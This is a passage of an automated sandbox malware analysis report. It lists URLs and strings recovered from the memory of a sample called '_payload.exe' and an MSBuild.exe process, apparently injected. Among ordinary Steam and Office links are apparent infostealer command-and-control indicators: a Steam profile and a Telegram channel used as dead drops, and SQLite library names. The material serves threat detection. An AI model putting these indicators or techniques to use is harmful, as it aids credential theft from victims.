Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259/inventory/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003202000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259O
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003202000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/s
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/z
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowere
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: JDAKJD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JDAKJD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JDAKJD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2180571861.000000002272C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1843666426.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1853924998.00000000032F8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349510250.0000000019ABC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001404000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000607000.00000040.00000400.00020000.00000000.sdmp, CFCFHJ.0.dr, IIIEBG.6.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: CFCFHJ.0.dr, IIIEBG.6.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000607000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2180571861.000000002272C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1843666426.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1853924998.00000000032F8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349510250.0000000019ABC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001404000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000607000.00000040.00000400.00020000.00000000.sdmp, CFCFHJ.0.dr, IIIEBG.6.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: CFCFHJ.0.dr, IIIEBG.6.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17lity
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000607000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17ontdrvhost.exe
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000607000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	String found in binary or memory: https://t.me/armad2a
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	String found in binary or memory: https://t.me/armad2ahellosqls.dllsqlite3.dllIn
